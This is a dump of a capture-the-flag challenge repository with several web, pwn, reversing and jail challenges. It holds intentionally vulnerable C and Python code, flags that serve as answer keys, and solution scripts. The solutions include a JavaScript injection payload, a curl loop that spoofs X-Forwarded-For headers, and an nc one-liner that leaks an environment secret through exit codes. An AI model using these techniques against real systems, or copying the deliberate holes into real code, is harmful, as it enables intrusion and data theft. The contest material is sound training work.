100 9 | 10 | Description: 11 | Stack overflow, modified to be exploitable. 12 | DEP and ASLR with information disclosure. 13 | 14 | Category: pwnable 15 | 16 | Setup: Make sure that the hash of the alpine libc.so matches! 17 | 18 | -------------------------------------------------------------------------------- /challenges/easy2/dist/easy2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/easy2/dist/easy2 -------------------------------------------------------------------------------- /challenges/easy2/dist/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/easy2/dist/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /challenges/easy2/easy2_gadget.asm: -------------------------------------------------------------------------------- 1 | bits 64 2 | 3 | pop rdi 4 | ret 5 | -------------------------------------------------------------------------------- /challenges/easy2/flag.txt: -------------------------------------------------------------------------------- 1 | flag{d3p_i5_not_as_easy_as_it_sounds. You okay?} 2 | -------------------------------------------------------------------------------- /challenges/easy2/src/Makefile: -------------------------------------------------------------------------------- 1 | # Makefile 2 | 3 | # x86_64 because we're running on someone else's box. 4 | CFLAGS = -O2 -ggdb -Wall -march=x86-64 -D_FORTIFY_SOURCE=0 -fno-stack-protector 5 | ARM_CFLAGS = -O2 -ggdb -Wall -march=armv5t 6 | 7 | LINUX_TARGETS = easy2 #easy1 easy2 easy3 easy4 8 | WIN32_TARGETS = easy2.exe #easy1.exe easy2.exe easy3.exe easy4.exe 9 | ARM_TARGETS = easy2.arm #easy1.arm easy2.arm easy3.arm easy4.arm 10 | TARGETS = $(LINUX_TARGETS) $(WIN32_TARGETS) $(ARM_TARGETS) 11 | 12 | all: $(TARGETS) 13 | 14 | %.exe: %.c 15 | i686-pc-mingw32-gcc -o $@ $< $(CFLAGS) $(LDFLAGS) 16 | 17 | %.arm: %.c 18 | arm-unknown-linux-gnueabi-gcc -o $@ $< $(ARM_CFLAGS) $(LDFLAGS) 19 | 20 | clean: 21 | rm -f $(TARGETS) 22 | -------------------------------------------------------------------------------- /challenges/easy2/src/easy2.arm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/easy2/src/easy2.arm -------------------------------------------------------------------------------- /challenges/easy2/src/easy2.c: -------------------------------------------------------------------------------- 1 | /** 2 | * CTF challenges from scratch 3 | * by Javantea 4 | * July 22, 2017 5 | * Modified to use easy1's dual input Mar 15, 2019. 6 | * 7 | * Stack overflow, likely exploitable. 8 | **/ 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | int main(int argc, char **argv) 16 | { 17 | // Unbuffered to fix input issues! yay. 18 | int r = setvbuf(stdin, 0, _IONBF, 0); 19 | if(r != 0) { 20 | printf("ERROR: setvbuf failed\n"); 21 | return 1; 22 | } 23 | printf("system: %p\n", system); 24 | char *input = 0; 25 | if(argc < 2) { 26 | //printf("Usage: easy1 string\n"); 27 | //return 1; 28 | // 10512 should be enough for anyone. 29 | input = malloc(11512); 30 | if(input == 0) return 1; 31 | int read_len = 0; 32 | while(read_len < 11512) { 33 | int flen = read(STDIN_FILENO, input + read_len, 11512 - read_len); 34 | printf("read %i\n", flen); 35 | if(flen < 0) break; 36 | if(flen < 4095) break; 37 | read_len += flen; 38 | } 39 | input[11511] = 0; 40 | } else { 41 | input = argv[1]; 42 | } 43 | if(strlen(input) < (256+sizeof(int *))) { 44 | printf("%s\n", input); 45 | } else { 46 | // 10240 should be enough for anyone. 47 | char a[10240]; 48 | memcpy(a, input, 10386); 49 | printf("%s\n", a); 50 | } 51 | return 0; 52 | } 53 | -------------------------------------------------------------------------------- /challenges/easy2/src/easy2.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/easy2/src/easy2.exe -------------------------------------------------------------------------------- /challenges/easy2/src/flag: -------------------------------------------------------------------------------- 1 | flag{d3p_i5_not_as_easy_as_it_sounds. You okay?} 2 | -------------------------------------------------------------------------------- /challenges/f71/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:latest 2 | 3 | ENV chdir / 4 | 5 | COPY f71 ${chdir} 6 | 7 | WORKDIR ${chdir} 8 | 9 | RUN apk add socat 10 | RUN ln -s lib lib64 11 | RUN ln -s ld-musl-x86_64.so.1 lib/ld-linux-x86-64.so.2 12 | 13 | ENTRYPOINT ["socat", "-dd", "TCP4-LISTEN:3954,fork,reuseaddr", "EXEC:'./f71 22 30',pty,stderr"] 14 | 15 | EXPOSE 3954 16 | -------------------------------------------------------------------------------- /challenges/f71/Makefile: -------------------------------------------------------------------------------- 1 | # Makefile for f71 2 | 3 | # -D_FORTIFY_SOURCE=0 is just for alpine. Dunno why. 4 | CFLAGS = -O2 -ggdb -Wall -D_FORTIFY_SOURCE=0 5 | LDFLAGS = -fPIC -fpie -fPIE 6 | 7 | all: f71 8 | 9 | f71: f71.o 10 | engi: engi.o 11 | 12 | clean: 13 | rm -f f71.o f71 engi.o engi 14 | -------------------------------------------------------------------------------- /challenges/f71/README.md: -------------------------------------------------------------------------------- 1 | # F71 2 | 3 | *by Javantea* 4 | Mar 21, 2019 and May 4, 2019 5 | 6 | Score: 100 7 | 8 | Description: 9 | A graph game based on FTL but instead of there being fights at every jump, there is a party with aliens. You have to visit as many nodes as possible to win, 113 beers worth in fact. 10 | 11 | Category: misc 12 | 13 | Solution is in solve.py 14 | 15 | The solution could also be done very easily with the binary, which is why we aren't giving the users the binary. The number of nodes and connections can be tuned with the first and second parameter of the executable. 22 30 is enough for 134 beers if you run locally overnight. It's significantly faster remotely. 16 | 17 | Remote: 18 | ``` 19 | real 0m0.462s 20 | user 0m0.340s 21 | sys 0m0.027s 22 | ``` 23 | 24 | Local: 25 | ``` 26 | real 0m18.725s 27 | user 0m0.466s 28 | sys 0m0.044s 29 | ``` 30 | 31 | ```bash 32 | sudo docker build --tag=f71 . 33 | sudo docker run -p 3954:3954 f71 34 | ``` 35 | -------------------------------------------------------------------------------- /challenges/f71/encrypt_flag.py: -------------------------------------------------------------------------------- 1 | def mash(b, i): 2 | output = b 3 | output *= 3 4 | output ^= 0x71 5 | output -= i 6 | output += i*i*i*33 7 | return output & 0x7f 8 | #end def mash(b, i) 9 | 10 | flag_int = [ord(f) for f in 'flag{Debbie for Captain siatyVUdn6A}'] 11 | 12 | [flag_int[i] in [mash(v, i) for v in range(256)] for i in range(len(flag_int))] 13 | 14 | print([[mash(v, i) for v in range(256)].index(flag_int[i]) for i in range(len(flag_int))]) 15 | [93, 63, 14, 10, 26, 31, 118, 65, 9, 88, 82, 35, 65, 18, 19, 27, 54, 112, 25, 15, 108, 64, 95, 11, 126, 56, 54, 63, 12, 85, 46, 103, 85, 13, 14, 60] 16 | -------------------------------------------------------------------------------- /challenges/f71/engi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/f71/engi -------------------------------------------------------------------------------- /challenges/f71/f71: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/f71/f71 -------------------------------------------------------------------------------- /challenges/f71/flag.txt: -------------------------------------------------------------------------------- 1 | flag{Debbie for Captain siatyVUdn6A} 2 | -------------------------------------------------------------------------------- /challenges/f71/sww/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/f71/sww/__init__.py -------------------------------------------------------------------------------- /challenges/fire2/README.md: -------------------------------------------------------------------------------- 1 | # Fire 2 2 | 3 | Original Idea: 2017-09-22 4 | Written: 2017-09-22-2019-01-20 5 | 6 | Score: 94 7 | 8 | Description: 8086 hand-written assembly. Self-referential encryption. Easy to solve if you know what is going on. 9 | 10 | Category: Reversing 11 | 12 | Build: 13 | * `nasm -o dist/fire2 src/fire2.asm` 14 | * If you change the flag, you need to run `fire2flag.py` and then modify src/fire2.asm and then reassemble. 15 | 16 | Solution: solve.py 17 | 18 | Requirements: 19 | 20 | How to run: 21 | qemu-system-i386 fire2 22 | 23 | How to exit: 24 | Close Qemu 25 | 26 | Challenge Text: 27 | 28 | This is the second worst fire animation I've seen. It was hand coded? Artisinal you say? 210 bytes? 8086 assembly? Genius, mad genius. 29 | -------------------------------------------------------------------------------- /challenges/fire2/SOLUTION.md: -------------------------------------------------------------------------------- 1 | # Fire 2 Solution 2 | *by Javantea* 3 | Jan 20, 2019 4 | 5 | The point of this challenge is to illustrate the boot sector program. If you can figure out qemu and gdb, you're golden. If you can reverse 8086 (yes, it's 16-bit 8086), you might or might not catch the xor of the program and itself. If you can modify a program to add a debug or a sleep, you'll get a wrong answer. 6 | 7 | ```bash 8 | qemu-system-i386 ../../8086/fire2 9 | 10 | ctrl-alt-2 11 | gdbserver 12 | 13 | gdb 14 | target remote localhost:1234 15 | b *0x7c13 16 | c 17 | ``` 18 | 19 | Use qemu gui to select Machine / Reset 20 | 21 | ``` 22 | Breakpoint 1, 0x00007c13 in ?? () 23 | (gdb) x/s 0x7c82 24 | 0x7c82: "f149{http://fabiensanglard.net/doom_fire_psx/ 0a4f0d9a1ab1f8c86b981f}\r\n\377" 25 | ``` 26 | 27 | An easier solution is simply: 28 | 29 | ``` 30 | fire = open('../../8086/fire2','rb').read() 31 | bytes([(x ^ y) for x,y in zip(fire[:73], fire[0x88:0x88+73])]) 32 | ``` 33 | 34 | A more general solution can be found in solve.py: 35 | 36 | ```python 37 | fire = open('dist/fire2','rb').read() 38 | for offset in range(len(fire)): 39 | flag = bytes([(x ^ y) for x,y in zip(fire[:73], fire[offset:offset+73])]) 40 | if flag.startswith(b'f149{'): 41 | print(flag, hex(offset)) 42 | #end if 43 | #next offset 44 | ``` 45 | 46 | The flag is `f149{http://fabiensanglard.net/doom_fire_psx/ 0a4f0d9a1ab1f8c86b981f}` 47 | -------------------------------------------------------------------------------- /challenges/fire2/dist/fire2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/fire2/dist/fire2 -------------------------------------------------------------------------------- /challenges/fire2/flag.txt: -------------------------------------------------------------------------------- 1 | flag{http://fabiensanglard.net/doom_fire_psx/ 0a4f0d9a1ab1f8c86b981f} 2 | -------------------------------------------------------------------------------- /challenges/fire2/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | fire = open('dist/fire2','rb').read() 4 | #print(bytes([(x ^ y) for x,y in zip(fire[:73], fire[0x82:0x82+73])])) 5 | #fire = open('../../8086/fire2','rb').read() 6 | for offset in range(len(fire)): 7 | flag = bytes([(x ^ y) for x,y in zip(fire[:73], fire[offset:offset+73])]) 8 | if flag.startswith(b'f149{'): 9 | print(flag, hex(offset)) 10 | #end if 11 | #next offset 12 | -------------------------------------------------------------------------------- /challenges/fire2/src/fire2flag.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | fire2flag.py 4 | by Javantea 5 | Jan 20, 2019 6 | 7 | If you modify fire2.asm almost at all, you'll need to regenerate the flag. 8 | Run nasm: 9 | nasm fire2.asm 10 | Run this script: 11 | python3 fire2flag.py 12 | Put the result instead of the values after msg db 13 | This is very easy to automate, but I didn't want to do it. 14 | """ 15 | 16 | flag = b'flag{http://fabiensanglard.net/doom_fire_psx/ 0a4f0d9a1ab1f8c86b981f}\r\n\xff\x00' 17 | fire = open('fire2','rb').read()[:len(flag)] 18 | print(', '.join([str(x ^ y) for x,y in zip(flag, fire)])) 19 | -------------------------------------------------------------------------------- /challenges/flip-the-script/.gitignore: -------------------------------------------------------------------------------- 1 | *.swp 2 | *.pyc 3 | -------------------------------------------------------------------------------- /challenges/flip-the-script/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine 2 | 3 | RUN apk update 4 | 5 | RUN apk add nodejs 6 | 7 | RUN adduser -D challenge 8 | 9 | USER challenge 10 | 11 | WORKDIR /home/challenge 12 | 13 | COPY src/flag.txt src/client.js src/server.js src/flip-the-script.js src/index.html ./ 14 | 15 | EXPOSE 3000 16 | 17 | CMD node server.js 18 | -------------------------------------------------------------------------------- /challenges/flip-the-script/README.md: -------------------------------------------------------------------------------- 1 | # Flip the Script 2 | 3 | ## Score 4 | 64 5 | 6 | ## Description 7 | Inject a single JavaScript payload in three contexts: 8 | unquoted, in a double-quoted string, and in a single-quoted string. 9 | 10 | ## Category 11 | web 12 | 13 | ## Running in Docker 14 | You can run the challenge with Docker. 15 | 16 | $ docker build . 17 | Successfully built 18 | $ docker run -p 3000:3000 19 | 20 | Then, access http://localhost:3000 in a browser. 21 | 22 | ## Running locally 23 | If you don't want to use Docker, install NodeJS and run 24 | `nodejs server.js`. 25 | 26 | -------------------------------------------------------------------------------- /challenges/flip-the-script/SOLUTION.md: -------------------------------------------------------------------------------- 1 | 2 | This is a JavaScript challenge. Your input is injected three ways: 3 | 4 | - `YOUR_INPUT` 5 | - `"YOUR_INPUT"` 6 | - `'YOUR_INPUT'` 7 | 8 | Your task is to access the `target.exploit` attribute in all three cases, using a single payload. 9 | 10 | You can use at most 3 `*` characters, and 28 characters total. 11 | 12 | # Solution to Flip the Script 13 | Solvers, please let me know if you find a shorter or easier solution! 14 | 15 | This works: 16 | 17 | /*"+/*'*/i/+target.exploit// 18 | 19 | I don't want you to be able to do this, so I say it has too many stars: 20 | 21 | /*"+/*'+/**/target.exploit// 22 | 23 | First, note that `i` is used as a loop variable 24 | (and thus is accessible through `eval()`). 25 | 26 | The trick in my solution is to overload `*/i/`: 27 | 28 | - In the single-quoted case, multiply a string by a regular expression 29 | literal of `i`, then add `target.exploit`. 30 | - In the double-quoted case, add a string to `i / ((unary plus) target.exploit)` 31 | - In the unquoted case, divide `i` by ((unary plus) target.exploit) 32 | 33 | # Notes 34 | - This challenge uses JavaScript getters to remove the need 35 | for parentheses (and their associated mischief). 36 | 37 | -------------------------------------------------------------------------------- /challenges/flip-the-script/flag.txt: -------------------------------------------------------------------------------- 1 | flag{whoa_i_am_so_strung_out} 2 | -------------------------------------------------------------------------------- /challenges/flip-the-script/src/flag.txt: -------------------------------------------------------------------------------- 1 | flag{whoa_i_am_so_strung_out} 2 | -------------------------------------------------------------------------------- /challenges/gdb-2/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.7-alpine 2 | 3 | ENV workdir / 4 | 5 | COPY src/gdb2.py /gdb2.py 6 | COPY src/gdb_communiques2_req.txt ${workdir} 7 | COPY src/gdb_communiques2.txt ${workdir} 8 | 9 | WORKDIR ${workdir} 10 | 11 | ENTRYPOINT ["python", "/gdb2.py"] 12 | 13 | EXPOSE 4009 14 | -------------------------------------------------------------------------------- /challenges/gdb-2/README.md: -------------------------------------------------------------------------------- 1 | # GDB 2 2 | 3 | Original Idea: 2017-09-22 4 | Written: 2019-01-18-2019-01-18 5 | 6 | Score: 100 7 | 8 | Description: 9 | GDB server on TCP. If you use gdb it looks like a gdb server. But it is not. It's a replay of a recording of a gdb server. You have to find the flag. It's not in memory, it's in the protocol itself, which causes gdb to fail. 10 | 11 | Category: misc 12 | 13 | Solution: Solution.md or solve.py 14 | 15 | Requirements: 16 | * Python3 17 | * gdb_communiques2.txt 18 | * gdb_communiques2_req.txt 19 | 20 | How to run: 21 | python3 gdb2.py 22 | 23 | How to exit: 24 | Ctrl-C will exit 25 | 26 | Challenge Text: 27 | 28 | GDB is universal, so why doesn't it ever work? challenges:4009 29 | -------------------------------------------------------------------------------- /challenges/gdb-2/flag.txt: -------------------------------------------------------------------------------- 1 | flag{everything is everything e759d9c47a13e4974756e911cafc19f9755c37141ee6a3a76ac0df6ac358f561a0b623483cf6d1006f994d806e6957bd72a9f4c6ca9cce1d1c6530fe25c1fe05} 2 | -------------------------------------------------------------------------------- /challenges/gdb-2/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | Solution to GDB2 4 | by Javantea 5 | June 9, 2019 6 | 7 | Based on gdb2_solution1.txt 8 | by Javantea 9 | Jan 19, 2019 10 | 11 | ssh -L4009:challenges:9013 javantea@ctf.neg9.net 12 | 13 | """ 14 | import socket 15 | data = b'$m7fffffffd5f2,8#03' 16 | host = 'localhost' 17 | port = 4009 18 | 19 | sock = socket.socket() 20 | sock.connect((host, port)) 21 | sock.send(data) 22 | flag = b'#' 23 | while flag != b'': 24 | flag = sock.recv(1024) 25 | print(flag) 26 | if b'f149{' in flag and b'}' in flag: break 27 | #loop 28 | -------------------------------------------------------------------------------- /challenges/gdb-2/src/gdb_communiques2.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/gdb-2/src/gdb_communiques2.txt -------------------------------------------------------------------------------- /challenges/hack_the_planet/README.md: -------------------------------------------------------------------------------- 1 | # They're trashing our rights! 2 | 3 | ## Score 4 | 10 5 | 6 | ## Description 7 | Fill in the blanks: ____ ___ ______ 8 | 9 | ## Category 10 | trivia 11 | -------------------------------------------------------------------------------- /challenges/hack_the_planet/SOLUTION.md: -------------------------------------------------------------------------------- 1 | This is a reference to the movie Hackers. Some variation of it is fairly common in a lot of CTF competitions. -------------------------------------------------------------------------------- /challenges/hack_the_planet/flag.txt: -------------------------------------------------------------------------------- 1 | hack the planet 2 | -------------------------------------------------------------------------------- /challenges/hacking-around-the-planet/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.8-alpine 2 | 3 | 4 | COPY GeoLite2-City.mmdb /GeoLite2-City.mmdb 5 | 6 | COPY hackin_round_the_world /hackin_round_the_world 7 | RUN chmod 0100 /hackin_round_the_world 8 | 9 | WORKDIR / 10 | ENTRYPOINT [ "/hackin_round_the_world" ] 11 | 12 | EXPOSE 5000 13 | -------------------------------------------------------------------------------- /challenges/hacking-around-the-planet/README.md: -------------------------------------------------------------------------------- 1 | # Hacking Around The World 2 | 3 | ## Score 4 | 96 5 | 6 | ## Description 7 | Everyne likes to travel, even cookies. Sure sux how expesive plane tickets are though. 8 | maybe there is another way. 9 | 10 | It looks like its behind a bad proxy ... 11 | 12 | ## Category 13 | web 14 | 15 | ## NOTE - Extra Work needed to reproduce this 16 | 17 | This challenge requires a copy of MaxMind's `GeoLite2-City.mmdb` database alongside the Dockerfile to properly build. Due to licensing concerns (perhaps unwarranted) and the fact that it's a large file, that file is not included here. However, you can easily get a copy of this from Maxmind at the link below. 18 | 19 | This product includes GeoLite2 data created by MaxMind, available from [https://www.maxmind.com](https://www.maxmind.com). 20 | -------------------------------------------------------------------------------- /challenges/hacking-around-the-planet/SOLUTION.md: -------------------------------------------------------------------------------- 1 | If you just try to go the the endpoint in a browser you will be redirected to a youtube video for "Around The World" 2 | This is mostly for fun. 3 | 4 | The endpoint sets a JWT cookie that contains a list of "places you've visited". 5 | The description says there must be another way to travel without planes (ie. actully going there) 6 | This is the hint that you should be tricking the service. 7 | 8 | The clue in the readme that its behind a proxy should lead you to X-Forwarded-For 9 | From there you need to submit ip addresses to get to 10. 10 | -------------------------------------------------------------------------------- /challenges/hacking-around-the-planet/flag.txt: -------------------------------------------------------------------------------- 1 | flag{wh4t_4_t4ng313d_w3b_w3_w34v3} 2 | -------------------------------------------------------------------------------- /challenges/hacking-around-the-planet/geoip.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "errors" 5 | "log" 6 | "net" 7 | "strings" 8 | 9 | maxminddb "github.com/oschwald/maxminddb-golang" 10 | ) 11 | 12 | const GeoIP_DB_FileName = "GeoLite2-City.mmdb" 13 | 14 | func LookupIpLocation(ip_string string) (string, error) { 15 | db, err := maxminddb.Open(GeoIP_DB_FileName) 16 | if err != nil { 17 | log.Println(err) 18 | return "", err 19 | } 20 | defer db.Close() 21 | 22 | ip_parts := strings.Split(ip_string, ":") 23 | reconstructed_ip := strings.Join(ip_parts[:len(ip_parts)-1], ":") 24 | ip := net.ParseIP(reconstructed_ip) 25 | if ip == nil { 26 | // ipv6 addrs don't work well with ParseIP 27 | return "", errors.New("Try ipv4") 28 | } 29 | 30 | var record struct { 31 | Country struct { 32 | ISOCode string `maxminddb:"iso_code"` 33 | } `maxminddb:"country"` 34 | 35 | City struct { 36 | Names map[string]string `maxminddb:"names"` 37 | } `maxminddb:"city"` 38 | } 39 | 40 | err = db.Lookup(ip, &record) 41 | if err != nil { 42 | log.Println(err) 43 | return "", err 44 | } 45 | if record.Country.ISOCode == "" || record.City.Names["en"] == "" { 46 | return "", errors.New("I don't know where you are") 47 | } 48 | return record.Country.ISOCode + " - " + record.City.Names["en"], nil 49 | } 50 | -------------------------------------------------------------------------------- /challenges/hacking-around-the-planet/hackin_round_the_world: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/hacking-around-the-planet/hackin_round_the_world -------------------------------------------------------------------------------- /challenges/hacking-around-the-planet/session.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "errors" 5 | "log" 6 | "time" 7 | 8 | jwt "github.com/dgrijalva/jwt-go" 9 | ) 10 | 11 | const SessionTimeout = (time.Minute * 7) + (time.Second * 10) 12 | 13 | const CookieName = "passport" 14 | 15 | func NewToken() *jwt.Token { 16 | token := jwt.NewWithClaims(jwt.SigningMethodHS256, &HackerClaims{ 17 | ExpiresAt: time.Now().UTC().Add(SessionTimeout).Unix(), 18 | Passport: []string{}, 19 | }) 20 | return token 21 | } 22 | 23 | func ParseToken(tokenString string) (*jwt.Token, error) { 24 | token, err := jwt.ParseWithClaims(tokenString, &HackerClaims{}, func(token *jwt.Token) (interface{}, error) { 25 | return Key, nil 26 | }) 27 | if err != nil { 28 | log.Print(err) 29 | return nil, errors.New("Invalid Token") 30 | } 31 | err = token.Claims.Valid() 32 | if err != nil { 33 | return nil, err 34 | } 35 | return token, nil 36 | } 37 | 38 | type HackerClaims struct { 39 | ExpiresAt int64 `json:"exp"` 40 | Passport []string `json:"passport"` 41 | } 42 | 43 | func (claims HackerClaims) Valid() error { 44 | now := time.Now().UTC().Unix() 45 | if claims.ExpiresAt < now { 46 | return errors.New("Expired") 47 | } 48 | return nil 49 | } 50 | -------------------------------------------------------------------------------- /challenges/hacking-around-the-planet/solution.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Credit tecknicaltom 3 | 4 | COOKIE="" 5 | 6 | while : 7 | do 8 | OUT="$(curl -s -H "X-Forwarded-For: $(($RANDOM % 256)).$(($RANDOM % 256)).$(($RANDOM % 256)).$(($RANDOM % 256)):80" -H "Cookie: $COOKIE" -v challenges.openctf.cat:9027 2>&1)" 9 | echo "$OUT" 10 | NEXT_COOKIE="$(echo "$OUT" | sed -n -e 's/.*Set-Cookie: \([^;]\+\).*/\1/p')" 11 | if [[ ! -z "$NEXT_COOKIE" ]] 12 | then 13 | COOKIE="$NEXT_COOKIE" 14 | fi 15 | echo "$OUT" | grep -q flag && exit 16 | done 17 | -------------------------------------------------------------------------------- /challenges/https-cyoa/Dockerfile: -------------------------------------------------------------------------------- 1 | # This exact docker image verssion is required, do not upgrade! 2 | # Later versions remove the required TLS cipher in OpenSSL 3 | FROM python:3.7-alpine3.8 4 | 5 | ENV httpdir /htdocs 6 | 7 | COPY htdocs ${httpdir} 8 | COPY httpscyoa.py /httpscyoa.py 9 | COPY certkey.pem /certkey.pem 10 | 11 | WORKDIR ${httpdir} 12 | 13 | ENTRYPOINT ["python", "/httpscyoa.py"] 14 | 15 | EXPOSE 4443 16 | -------------------------------------------------------------------------------- /challenges/https-cyoa/README.md: -------------------------------------------------------------------------------- 1 | # Tales to Give You Goosebumps 2 | 3 | *Code by Javantea* 4 | *Idea by craSH* 5 | 6 | ## Score 7 | 100 8 | 9 | ## Description 10 | This server is acting strange. I think someone hacked it. 11 | 12 | ## Category 13 | web 14 | -------------------------------------------------------------------------------- /challenges/https-cyoa/cert.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # Key and CSR 4 | openssl req -new -keyout server2.pem -out server2.csr 5 | 6 | # Sign CSR with Key (self-signed) 7 | openssl x509 -signkey server2.pem -req -in server2.csr -out server2.crt -days 365 8 | 9 | # decrypt key 10 | openssl rsa -in server2.pem -out server2clear.pem 11 | 12 | # Combine clear key and cert 13 | cat server2clear.pem server2.crt >certkey.pem 14 | -------------------------------------------------------------------------------- /challenges/https-cyoa/flag.txt: -------------------------------------------------------------------------------- 1 | flag{Sporochnaceae-granulate_microlith+tillering} 2 | -------------------------------------------------------------------------------- /challenges/https-cyoa/htdocs/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Which way to go? 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /challenges/https-cyoa/htdocs/rls.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/https-cyoa/htdocs/rls.jpg -------------------------------------------------------------------------------- /challenges/https-cyoa/test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Be sure to have jq and yq installed 3 | 4 | # curl https://172.17.0.3:4443 -k --cipher CAMELLIA128-SHA 5 | 6 | CIPHER="CAMELLIA128-SHA" 7 | FLAG=$(/dev/null 2>&1 \ 22 | && apk add openssl curl >/dev/null 2>&1 \ 23 | && curl --verbose --insecure --cipher \"${CIPHER}\" \"${service_uri}\" \ 24 | | grep -qF \"${FLAG}\"" 25 | 26 | # If grep found the flag, exit clean, otherwise, exit dirty 27 | if [ 0 -eq $? ]; then 28 | echo "PASS: Found correct flag via HTTPS request with curl" 29 | exit 0 30 | else 31 | echo "FAIL: Did not find correct flag via HTTPS request with curl" 32 | exit 1 33 | fi 34 | -------------------------------------------------------------------------------- /challenges/jail-1/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:latest 2 | 3 | WORKDIR / 4 | RUN apk add socat python3 perl 5 | 6 | COPY src/wrapper.py / 7 | ENTRYPOINT ["socat", "-dd", "TCP4-LISTEN:5000,fork,reuseaddr", "EXEC:'./wrapper.py'"] 8 | 9 | EXPOSE 5000 10 | -------------------------------------------------------------------------------- /challenges/jail-1/README.md: -------------------------------------------------------------------------------- 1 | # Jail 1 2 | 3 | ## Score 4 | 10 5 | 6 | ## Description 7 | Python Jail challenges are so trendy in CTFs. 8 | 9 | ## Category 10 | misc 11 | -------------------------------------------------------------------------------- /challenges/jail-1/SOLUTION.md: -------------------------------------------------------------------------------- 1 | The challenge runs the user input as a perl script, filtering out some useful functions including print, and putting the flag in the environment. My solution, which doesn't need as many characters as you're limited to, is to exfil each character of the flag through the exit code. 2 | 3 | -------------------------------------------------------------------------------- /challenges/jail-1/dist/wrapper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import os 4 | import sys 5 | import subprocess 6 | from functools import partial 7 | 8 | flag = 'REDACTED' 9 | max_length = 35 10 | 11 | user_input = '' 12 | while True: 13 | chunk = sys.stdin.read(256) 14 | if not chunk: 15 | break 16 | user_input += chunk 17 | 18 | if len(user_input) > max_length: 19 | print("Length: {}".format(len(user_input))) 20 | print("Too long!") 21 | sys.exit(3) 22 | 23 | prohibited_funcs = ['system', 'exec', 'fork', 'print'] 24 | 25 | for prohibited_func in prohibited_funcs: 26 | if prohibited_func in user_input: 27 | print("No {}!".format(prohibited_func)) 28 | sys.exit(1) 29 | 30 | if '`' in user_input: 31 | print("No backticks!") 32 | sys.exit(2) 33 | 34 | print("Length: {}".format(len(user_input))) 35 | 36 | env = os.environ 37 | env['flag'] = flag 38 | 39 | p = subprocess.run(['perl', '-e', user_input], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) 40 | sys.stdout.buffer.write(p.stdout) 41 | if p.returncode: 42 | sys.stdout.write('Process exited: {}\n'.format(p.returncode)) 43 | sys.stdout.flush() 44 | -------------------------------------------------------------------------------- /challenges/jail-1/flag.txt: -------------------------------------------------------------------------------- 1 | flag{maybe_u_are_japh_afterall} 2 | -------------------------------------------------------------------------------- /challenges/jail-1/solve.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | for i in $(seq 0 30) ; do echo -n 'exit ord(substr($ENV{flag},'$i'))' | nc -N challenges.openctf.cat 9020 | grep 'Process exited' | awk '{print $3}' ; done | perl -ne 'print chr' 4 | -------------------------------------------------------------------------------- /challenges/jail-1/src/wrapper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import os 4 | import sys 5 | import subprocess 6 | from functools import partial 7 | 8 | flag = 'flag{maybe_u_are_japh_afterall}' 9 | max_length = 35 10 | 11 | user_input = '' 12 | while True: 13 | chunk = sys.stdin.read(256) 14 | if not chunk: 15 | break 16 | user_input += chunk 17 | 18 | if len(user_input) > max_length: 19 | print("Length: {}".format(len(user_input))) 20 | print("Too long!") 21 | sys.exit(3) 22 | 23 | prohibited_funcs = ['system', 'exec', 'fork', 'print'] 24 | 25 | for prohibited_func in prohibited_funcs: 26 | if prohibited_func in user_input: 27 | print("No {}!".format(prohibited_func)) 28 | sys.exit(1) 29 | 30 | if '`' in user_input: 31 | print("No backticks!") 32 | sys.exit(2) 33 | 34 | print("Length: {}".format(len(user_input))) 35 | 36 | env = os.environ 37 | env['flag'] = flag 38 | 39 | p = subprocess.run(['perl', '-e', user_input], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) 40 | sys.stdout.buffer.write(p.stdout) 41 | if p.returncode: 42 | sys.stdout.write('Process exited: 